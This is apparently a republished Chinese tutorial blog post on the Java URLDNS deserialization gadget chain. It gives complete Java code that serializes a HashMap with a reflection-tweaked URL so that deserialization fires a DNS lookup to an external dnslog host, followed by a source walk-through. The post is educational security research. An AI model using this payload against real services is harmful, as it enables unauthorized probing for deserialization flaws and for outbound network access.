Java安全 反序列化(1) URLDNS链原理分析
开始学习Java反序列化链–URLDNS
前置知识
请提前了解Java序列化和反序列化,熟悉Java反射机制
应用
1.判断是否存在反序列化的点
2.判断目标是否出网
先上payload 后进行分析
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class DnsTest {
public static void main(String[] args) throws Exception {
HashMap hashmap =new HashMap();
URL url = new URL("http://wxzzwpgygc.dgrh3.cn");
Class c = url.getClass();
Field fieldhashcode=c.getDeclaredField("hashCode");
fieldhashcode.setAccessible(true);
fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1
hashmap.put(url,2);
fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
serialize(hashmap);
unserialize();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new
FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}
public static void unserialize() throws IOException, ClassNotFoundException
{
ObjectInputStream ois = new ObjectInputStream(new
FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
}
可以触发dns请求
分析payload
1.新建HashMap类
HashMap hashmap =new HashMap();
什么是HashMap:
基于哈希表的实现的
Map
接口
HashMap是什么?
是键值对映射关系的集合,可以包含多对键值对
键是唯一的,值可以相同HashMap<key的类型,value的类型> map =new HashMap<>();
map.put(key,value)存放了这对键值对
扩展HashMap中的Entry
是什么
可以理解为HashMap的单体,包含一对键值对
为什么选择HashMap作为入口类?
1.因为入口重写了readobject方法
2.实现了反序列化接口
2.新建URL类
URL url = new URL("http://wxzzwpgygc.dgrh3.cn");
3.获取URL 的 Class对象
Class c = url.getClass();
用于操作反射
4.通过反射访问URL内部变量
Field fieldhashcode=c.getDeclaredField("hashCode");
fieldhashcode.setAccessible(true);
5.通过反射为URL中类赋值
fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1
6.调用HashMap#put方法传入key和value
hashmap.put(url,2);
hashmap.put(key,value)
key 为前面新建的url类
value 为任意值
7.再次通过反射为URL类的hashcode赋值
fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
赋值URL类中的hashcode为-1
触发dns请求,完成访问
原理分析
1.进行序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new
FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}
serialize(hashmap); //传入的obj为hashmap
那么反序列化会自动触发HashMap的readobject方法
我们可以调试分析一下
Ctrl-B跟进实现原理
2.跟进HashMap的readobject方法
在方法的最后调用了hash方法
3.跟进hash方法
进行判断只要key不为空
就 调用 key的hashCode()方法
我们传入的key是URL类的对象
所以调用的是URL#hashCode方法
4.可以跟进URL的hashCode方法
只有hashCode为-1 时
会进入hashCode = handler.hashCode(this);
this为当前对象的引用
5.跟进handler.hashCode方法
我们在新建URL类时 传入了我们的dnslog地址
getHostAddress
进行DNS解析,完成请求
细节问题
为什吗要给URL类hashCode赋值两次?
fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1
hashmap.put(url,2);
fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
第一次查询的时候会进行缓存触发dns请求,将URL.hashCode设置为-1,hashmap.put时也触发dns请求,我们可以做个实验
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class DnsTest {
public static void main(String[] args) throws Exception {
HashMap hashmap =new HashMap();
URL url = new URL("http://rcjynkewns.dgrh3.cn");
// Class c = url.getClass();
// Field fieldhashcode=c.getDeclaredField("hashCode");
// fieldhashcode.setAccessible(true);
// fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1
hashmap.put(url,2);
// fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
// serialize(hashmap);
// unserialize();
}
// public static void serialize(Object obj) throws IOException {
// ObjectOutputStream oos = new ObjectOutputStream(new
// FileOutputStream("ser.bin"));
// oos.writeObject(obj);
// oos.close();
// }
// public static void unserialize() throws IOException, ClassNotFoundException
// {
// ObjectInputStream ois = new ObjectInputStream(new
// FileInputStream("ser.bin"));
// ois.readObject();
// ois.close();
// }
//}
只留下了hashmap的put方法
可以发现照样触发
put为什么了触发dns请求
因为HashMap.put方法同样进行了hash(key)的操作最终还是调用了对象的hashCode()方法,因此重复了操作
为了避免误判
我们先将URL.hashCode属性赋值为 只要不是-1的值
hashmap.put()方法后 不会进行dns查询文章来源:https://www.toymoban.com/news/detail-845122.html
再通过反射修改URL.hashCode属性为-1 完成dns请求文章来源地址https://www.toymoban.com/news/detail-845122.html
到了这里,关于Java安全 反序列化(1) URLDNS链原理分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!